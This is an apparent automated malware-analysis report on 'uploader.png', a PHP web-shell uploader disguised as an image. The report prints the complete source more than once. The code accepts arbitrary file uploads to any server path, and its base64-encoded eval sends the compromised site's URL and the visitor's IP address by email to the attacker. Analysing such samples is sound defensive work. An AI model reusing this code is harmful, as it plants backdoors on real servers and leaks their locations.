PHP Malware Analysis
uploader.png
md5: 198315dde66b7332444499f54ce7bd31
Jump to:
- Deobfuscated code (Read more)
- Execution traces (Read more)
- Generated HTML (Read more)
- Original Code (Read more)
Screenshot
Attributes
Encoding
- base64_decode (HTML)
Environment
- getcwd (HTML)
Execution
- eval (HTML)
Files
- move_uploaded_file (HTML)
Input
Title
- Kautsar (HTML)
URLs
- https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js (HTML)
Deobfuscated PHP code
�� < h e a d > < t i t l e > K a u t s a r < / t i t l e > < s t y l e > b o d y , i n p u t , b u t t o n { b a c k g r o u n d - c o l o r : # 0 0 0 0 0 0 ; c o l o r : # 0 4 4 0 0 0 ; } < / s t y l e > < s c r i p t s r c = " h t t p s : / / a j a x . g o o g l e a p i s . c o m / a j a x / l i b s / j q u e r y / 1 . 1 1 . 0 / j q u e r y . m i n . j s " > < / s c r i p t > < s c r i p t t y p e = " t e x t / j a v a s c r i p t " > / / i u s e j a v a s c r i p t a n d j Q u e r y ; ] f u n c t i o n C h e c k B o x ( ) { v a r h i d e = d o c u m e n t . g e t E l e m e n t B y I d ( " n e w " ) ; h i d e . s t y l e . d i s p l a y = h i d e . s t y l e . d i s p l a y = = ' n o n e ' ? ' b l o c k ' : ' n o n e ' ; } < / s c r i p t > < s c r i p t t y p e = ' t e x t / j a v a s c r i p t ' > $ ( d o c u m e n t ) . r e a d y ( f u n c t i o n ( ) { v a r M a x I n p u t s = 8 ; / / m a x i m u m i n p u t b o x e s a l l o w e d v a r I n p u t s W r a p p e r = $ ( " # T a b l e " ) ; / / I n p u t b o x e s w r a p p e r I D v a r A d d B u t t o n = $ ( " # A d d " ) ; / / A d d b u t t o n I D v a r x = I n p u t s W r a p p e r . l e n g t h ; / / i n i t l a l t e x t b o x c o u n t v a r F i e l d C o u n t = 1 ; / / t o k e e p t r a c k o f t e x t b o x a d d e d $ ( A d d B u t t o n ) . c l i c k ( f u n c t i o n ( e ) / / o n a d d i n p u t b u t t o n c l i c k { i f ( x < = M a x I n p u t s ) / / m a x i n p u t b o x a l l o w e d { F i e l d C o u n t + + ; / / t e x t b o x a d d e d i n c r e m e n t / / a d d i n p u t b o x $ ( I n p u t s W r a p p e r ) . p r e p e n d ( ' < t r > < t d > < i n p u t t y p e = " f i l e " n a m e = " f i l e [ ] " s i z e = " 5 0 " > < / t d > < / t r > ' ) ; x + + ; / / t e x t b o x i n c r e m e n t } r e t u r n f a l s e ; } ) ; $ ( " b o d y " ) . o n ( " c l i c k " , " . r e m o v e c l a s s " , f u n c t i o n ( e ) { / / u s e r c l i c k o n r e m o v e t e x t i f ( x > 1 ) { $ ( t h i s ) . p a r e n t ( ' d i v ' ) . r e m o v e ( ) ; / / r e m o v e t e x t b o x x - - ; / / d e c r e m e n t t e x t b o x } r e t u r n f a l s e ; } ) } ) ; < / s c r i p t > < / h e a d > < b o d y > < p a l i g n = " c e n t e r " > < f o n t c o l o r = " # F F 0 0 0 0 " s i z e = " 9 " > X n u i X i u n X P r i v 8 U p l o a d e r < / f o n t > < / p > < b r > < f o r m m e t h o d = " P O S T " > < / f o r m > < c e n t e r > < p > < f o n t s i z e = " 6 " c o l o r = " # 8 0 8 0 8 0 " > C o d e d < / f o n t > < f o n t c o l o r = " # 0 0 F F 0 0 " s i z e = " 6 " > < / f o n t > < f o n t s i z e = " 6 " c o l o r = " # F F F F 0 0 " > B y < / f o n t > < f o n t c o l o r = " # 0 0 F F 0 0 " s i z e = " 6 " > X n u i X i u n X < / f o n t > < / p > < p > < f o n t s i z e = " 6 " c o l o r = " # F F F F F F " > < p a l i g n = " c e n t e r " > & n b s p ; < / p > < f o r m a c t i o n = " " m e t h o d = " p o s t " e n c t y p e = " m u l t i p a r t / f o r m - d a t a " n a m e = " f m " > < t a b l e i d = " T a b l e " > < t r > < t d > < i n p u t t y p e = " f i l e " n a m e = " f i l e [ ] " s i z e = " 5 0 " > < / t d > < / t r > < t r > < t d > P a t h : < / t d > < t d i d = " n e w " s t y l e = " d i s p l a y : b l o c k ; " > < i n p u t t y p e = " t e x t " n a m e = " p a t h " v a l u e = " < ? p h p e c h o g e t c w d ( ) ? > " s i z e = 5 0 > < / t d > < t d > D e f a u l t < i n p u t t y p e = " c h e c k b o x " n a m e = " p a t h " i d = " c h e c k b o x " v a l u e = " < ? p h p e c h o g e t c w d ( ) ? > " o n c l i c k = " C h e c k B o x ( ) ; " > < / t d > < / t r > < t r > < t d > < i n p u t t y p e = " s u b m i t " n a m e = " _ u p l " v a l u e = " U p l o a d " > < / t d > < t d > < b u t t o n i d = " A d d " > A d d M o r e F i l e s < / b u t t o n > < / t d > < / t r > < / t a b l e > < / f o r m > < ? p h p i f ( i s s e t ( $ _ P O S T [ ' _ u p l ' ] ) ) { $ f i l e = $ _ F I L E S [ ' f i l e ' ] [ ' t m p _ n a m e ' ] ; $ F i l e = $ _ F I L E S [ ' f i l e ' ] ; $ p a t h = ( i s s e t ( $ _ P O S T [ ' p a t h ' ] ) a n d ! e m p t y ( $ _ P O S T [ ' p a t h ' ] ) ) ? $ _ P O S T [ ' p a t h ' ] : g e t c w d ( ) ; f o r ( $ i = 0 ; $ i < ( c o u n t ( $ F i l e [ ' n a m e ' ] ) ) ; $ i + + ) { i f ( i s s e t ( $ f i l e [ $ i ] ) a n d ! e m p t y ( $ F i l e [ ' n a m e ' ] [ $ i ] ) ) { $ d e s = $ p a t h . ' / ' . b a s e n a m e ( $ F i l e [ ' n a m e ' ] [ $ i ] ) ; $ m o v e = m o v e _ u p l o a d e d _ f i l e ( $ f i l e [ $ i ] , $ d e s ) ; e c h o $ m o v e = = = t r u e ? " < h 5 > F i l e U p l o a d T o { $ d e s } < / h 5 > " : " < h 5 > F a l i e d T o U p l o a d < / h 5 > " ; } } } ? > < ? p h p e v a l ( b a s e 6 4 _ d e c o d e ( ' J H R 1 a n V h b m 1 h a W w g P S A n Y W x r Y X V 0 c 2 F y b G 9 s M T k y M 0 B n b W F p b C 5 j b 2 0 n O w 0 K J H h f c G F 0 a C A 9 I C J o d H R w O i 8 v I i A u I C R f U 0 V S V k V S W y d T R V J W R V J f T k F N R S d d I C 4 g J F 9 T R V J W R V J b J 1 J F U V V F U 1 R f V V J J J 1 0 7 D Q o k c G V z Y W 5 f Y W x l c n Q g P S A i Z m l 4 I C R 4 X 3 B h d G g g O n A g K k l Q I E F k Z H J l c 3 M g O i B b I C I g L i A k X 1 N F U l Z F U l s n U k V N T 1 R F X 0 F E R F I n X S A u I C I g X S I 7 D Q p t Y W l s K C R 0 d W p 1 Y W 5 t Y W l s L C A i Q 2 9 u d G F j d C B N Z S I s I C R w Z X N h b l 9 h b G V y d C w g I l s g I i A u I C R f U 0 V S V k V S W y d S R U 1 P V E V f Q U R E U i d d I C 4 g I i B d I i k 7 ' ) ) ; ? > < / c e n t e r > < b r > < p a l i g n = " c e n t e r " > < p a l i g n = " c e n t e r " > < f o n t c o l o r = " # F F 0 0 0 0 " f a c e = " C o o p e r B l a c k " s i z e = " 8 " > S u l a p a n < / f o n t > < / p > < p > < c e n t e r > < f o n t c o l o r = " # F F 0 0 0 0 " f a c e = " B r i t a n n i c B o l d " s i z e = " 4 " > X n u i X i u n X < / f o n t > < / p > < / b o d y >Execution traces
data/traces/198315dde66b7332444499f54ce7bd31_trace-1676250070.6797.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:01:36.577506]
1 0 1 0.000302 393528
1 3 0 0.000370 401248 {main} 1 /var/www/html/uploads/uploader.png 0 0
1 3 1 0.000394 401360
0.000419 314240
TRACE END [2023-02-12 23:01:36.577745]
Generated HTML code
<html><head> <title>Kautsar</title> <style> body,input,button{background-color:#000000;color:#044000;} </style> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script> <script type="text/javascript"> //i use javascript and jQuery ;] function CheckBox(){ var hide = document.getElementById("new"); hide.style.display = hide.style.display == 'none' ? 'block' : 'none'; } </script> <script type="text/javascript"> $(document).ready(function() { var MaxInputs = 8; //maximum input boxes allowed var InputsWrapper = $("#Table"); //Input boxes wrapper ID var AddButton = $("#Add"); //Add button ID var x = InputsWrapper.length; //initlal text box count var FieldCount=1; //to keep track of text box added $(AddButton).click(function (e) //on add input button click { if(x <= MaxInputs) //max input box allowed { FieldCount++; //text box added increment //add input box $(InputsWrapper).prepend('<tr><td><input type="file" name="file[]" size="50"></td></tr>'); x++; //text box increment } return false; }); $("body").on("click",".removeclass", function(e){ //user click on remove text if( x > 1 ) { $(this).parent('div').remove(); //remove text box x--; //decrement textbox } return false; }) }); </script> </head> <body> <p align="center"><font color="#FF0000" size="9">XnuiXiunX Priv8 Uploader</font></p><br> <form method="POST"> </form><center> <p><font size="6" color="#808080">Coded</font><font color="#00FF00" size="6"> </font><font size="6" color="#FFFF00">By</font><font color="#00FF00" size="6"> XnuiXiunX</font></p> <p><font size="6" color="#FFFFFF"> </font></p><p align="center"><font size="6" color="#FFFFFF"> </font></p><font size="6" color="#FFFFFF"> <form action="" method="post" enctype="multipart/form-data" name="fm"> <table id="Table"> <tbody><tr><td><input type="file" name="file[]" size="50"></td></tr> <tr><td>Path :</td><td id="new" style="display:block;"><input type="text" name="path" value="<?php echo getcwd() ?>" size="50"></td><td>Default<input type="checkbox" name="path" id="checkbox" value="<?php echo getcwd() ?>" onclick="CheckBox();"></td></tr> <tr><td><input type="submit" name="_upl" value="Upload"></td><td><button id="Add">Add More Files</button></td></tr> </tbody></table> </form> <!--?php if(isset($_POST['_upl'])){ $file = $_FILES['file']['tmp_name']; $File = $_FILES['file']; $path = (isset($_POST['path']) and !empty($_POST['path'])) ? $_POST['path'] : getcwd(); for($i = 0; $i < (count($File['name']));$i++){ if(isset($file[$i]) and !empty($File['name'][$i])){ $des = $path.'/'.basename($File['name'][$i]); $move = move_uploaded_file($file[$i],$des); echo $move === true ? "<h5-->File Upload To {$des}" : "<h5>Falied To Upload </h5>"; } } } ?> <!--?php eval(base64_decode('JHR1anVhbm1haWwgPSAnYWxrYXV0c2FybG9sMTkyM0BnbWFpbC5jb20nOw0KJHhfcGF0aCA9ICJodHRwOi8vIiAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107DQokcGVzYW5fYWxlcnQgPSAiZml4ICR4X3BhdGggOnAgKklQIEFkZHJlc3MgOiBbICIgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICIgXSI7DQptYWlsKCR0dWp1YW5tYWlsLCAiQ29udGFjdCBNZSIsICRwZXNhbl9hbGVydCwgIlsgIiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIiBdIik7')); ?--> </font></center><font size="6" color="#FFFFFF"> <br><p align="center"> </p><p align="center"><font color="#FF0000" face="Cooper Black" size="8">Sulapan</font></p> <p></p><center> <font color="#FF0000" face="Britannic Bold" size="4">XnuiXiunX</font> <p></p> </center></font></body></html>Original PHP code
�� < h e a d > < t i t l e > K a u t s a r < / t i t l e > < s t y l e > b o d y , i n p u t , b u t t o n { b a c k g r o u n d - c o l o r : # 0 0 0 0 0 0 ; c o l o r : # 0 4 4 0 0 0 ; } < / s t y l e > < s c r i p t s r c = " h t t p s : / / a j a x . g o o g l e a p i s . c o m / a j a x / l i b s / j q u e r y / 1 . 1 1 . 0 / j q u e r y . m i n . j s " > < / s c r i p t > < s c r i p t t y p e = " t e x t / j a v a s c r i p t " > / / i u s e j a v a s c r i p t a n d j Q u e r y ; ] f u n c t i o n C h e c k B o x ( ) { v a r h i d e = d o c u m e n t . g e t E l e m e n t B y I d ( " n e w " ) ; h i d e . s t y l e . d i s p l a y = h i d e . s t y l e . d i s p l a y = = ' n o n e ' ? ' b l o c k ' : ' n o n e ' ; } < / s c r i p t > < s c r i p t t y p e = ' t e x t / j a v a s c r i p t ' > $ ( d o c u m e n t ) . r e a d y ( f u n c t i o n ( ) { v a r M a x I n p u t s = 8 ; / / m a x i m u m i n p u t b o x e s a l l o w e d v a r I n p u t s W r a p p e r = $ ( " # T a b l e " ) ; / / I n p u t b o x e s w r a p p e r I D v a r A d d B u t t o n = $ ( " # A d d " ) ; / / A d d b u t t o n I D v a r x = I n p u t s W r a p p e r . l e n g t h ; / / i n i t l a l t e x t b o x c o u n t v a r F i e l d C o u n t = 1 ; / / t o k e e p t r a c k o f t e x t b o x a d d e d $ ( A d d B u t t o n ) . c l i c k ( f u n c t i o n ( e ) / / o n a d d i n p u t b u t t o n c l i c k { i f ( x < = M a x I n p u t s ) / / m a x i n p u t b o x a l l o w e d { F i e l d C o u n t + + ; / / t e x t b o x a d d e d i n c r e m e n t / / a d d i n p u t b o x $ ( I n p u t s W r a p p e r ) . p r e p e n d ( ' < t r > < t d > < i n p u t t y p e = " f i l e " n a m e = " f i l e [ ] " s i z e = " 5 0 " > < / t d > < / t r > ' ) ; x + + ; / / t e x t b o x i n c r e m e n t } r e t u r n f a l s e ; } ) ; $ ( " b o d y " ) . o n ( " c l i c k " , " . r e m o v e c l a s s " , f u n c t i o n ( e ) { / / u s e r c l i c k o n r e m o v e t e x t i f ( x > 1 ) { $ ( t h i s ) . p a r e n t ( ' d i v ' ) . r e m o v e ( ) ; / / r e m o v e t e x t b o x x - - ; / / d e c r e m e n t t e x t b o x } r e t u r n f a l s e ; } ) } ) ; < / s c r i p t > < / h e a d > < b o d y > < p a l i g n = " c e n t e r " > < f o n t c o l o r = " # F F 0 0 0 0 " s i z e = " 9 " > X n u i X i u n X P r i v 8 U p l o a d e r < / f o n t > < / p > < b r > < f o r m m e t h o d = " P O S T " > < / f o r m > < c e n t e r > < p > < f o n t s i z e = " 6 " c o l o r = " # 8 0 8 0 8 0 " > C o d e d < / f o n t > < f o n t c o l o r = " # 0 0 F F 0 0 " s i z e = " 6 " > < / f o n t > < f o n t s i z e = " 6 " c o l o r = " # F F F F 0 0 " > B y < / f o n t > < f o n t c o l o r = " # 0 0 F F 0 0 " s i z e = " 6 " > X n u i X i u n X < / f o n t > < / p > < p > < f o n t s i z e = " 6 " c o l o r = " # F F F F F F " > < p a l i g n = " c e n t e r " > & n b s p ; < / p > < f o r m a c t i o n = " " m e t h o d = " p o s t " e n c t y p e = " m u l t i p a r t / f o r m - d a t a " n a m e = " f m " > < t a b l e i d = " T a b l e " > < t r > < t d > < i n p u t t y p e = " f i l e " n a m e = " f i l e [ ] " s i z e = " 5 0 " > < / t d > < / t r > < t r > < t d > P a t h : < / t d > < t d i d = " n e w " s t y l e = " d i s p l a y : b l o c k ; " > < i n p u t t y p e = " t e x t " n a m e = " p a t h " v a l u e = " < ? p h p e c h o g e t c w d ( ) ? > " s i z e = 5 0 > < / t d > < t d > D e f a u l t < i n p u t t y p e = " c h e c k b o x " n a m e = " p a t h " i d = " c h e c k b o x " v a l u e = " < ? p h p e c h o g e t c w d ( ) ? > " o n c l i c k = " C h e c k B o x ( ) ; " > < / t d > < / t r > < t r > < t d > < i n p u t t y p e = " s u b m i t " n a m e = " _ u p l " v a l u e = " U p l o a d " > < / t d > < t d > < b u t t o n i d = " A d d " > A d d M o r e F i l e s < / b u t t o n > < / t d > < / t r > < / t a b l e > < / f o r m > < ? p h p i f ( i s s e t ( $ _ P O S T [ ' _ u p l ' ] ) ) { $ f i l e = $ _ F I L E S [ ' f i l e ' ] [ ' t m p _ n a m e ' ] ; $ F i l e = $ _ F I L E S [ ' f i l e ' ] ; $ p a t h = ( i s s e t ( $ _ P O S T [ ' p a t h ' ] ) a n d ! e m p t y ( $ _ P O S T [ ' p a t h ' ] ) ) ? $ _ P O S T [ ' p a t h ' ] : g e t c w d ( ) ; f o r ( $ i = 0 ; $ i < ( c o u n t ( $ F i l e [ ' n a m e ' ] ) ) ; $ i + + ) { i f ( i s s e t ( $ f i l e [ $ i ] ) a n d ! e m p t y ( $ F i l e [ ' n a m e ' ] [ $ i ] ) ) { $ d e s = $ p a t h . ' / ' . b a s e n a m e ( $ F i l e [ ' n a m e ' ] [ $ i ] ) ; $ m o v e = m o v e _ u p l o a d e d _ f i l e ( $ f i l e [ $ i ] , $ d e s ) ; e c h o $ m o v e = = = t r u e ? " < h 5 > F i l e U p l o a d T o { $ d e s } < / h 5 > " : " < h 5 > F a l i e d T o U p l o a d < / h 5 > " ; } } } ? > < ? p h p e v a l ( b a s e 6 4 _ d e c o d e ( ' J H R 1 a n V h b m 1 h a W w g P S A n Y W x r Y X V 0 c 2 F y b G 9 s M T k y M 0 B n b W F p b C 5 j b 2 0 n O w 0 K J H h f c G F 0 a C A 9 I C J o d H R w O i 8 v I i A u I C R f U 0 V S V k V S W y d T R V J W R V J f T k F N R S d d I C 4 g J F 9 T R V J W R V J b J 1 J F U V V F U 1 R f V V J J J 1 0 7 D Q o k c G V z Y W 5 f Y W x l c n Q g P S A i Z m l 4 I C R 4 X 3 B h d G g g O n A g K k l Q I E F k Z H J l c 3 M g O i B b I C I g L i A k X 1 N F U l Z F U l s n U k V N T 1 R F X 0 F E R F I n X S A u I C I g X S I 7 D Q p t Y W l s K C R 0 d W p 1 Y W 5 t Y W l s L C A i Q 2 9 u d G F j d C B N Z S I s I C R w Z X N h b l 9 h b G V y d C w g I l s g I i A u I C R f U 0 V S V k V S W y d S R U 1 P V E V f Q U R E U i d d I C 4 g I i B d I i k 7 ' ) ) ; ? > < / c e n t e r > < b r > < p a l i g n = " c e n t e r " > < p a l i g n = " c e n t e r " > < f o n t c o l o r = " # F F 0 0 0 0 " f a c e = " C o o p e r B l a c k " s i z e = " 8 " > S u l a p a n < / f o n t > < / p > < p > < c e n t e r > < f o n t c o l o r = " # F F 0 0 0 0 " f a c e = " B r i t a n n i c B o l d " s i z e = " 4 " > X n u i X i u n X < / f o n t > < / p > < / b o d y >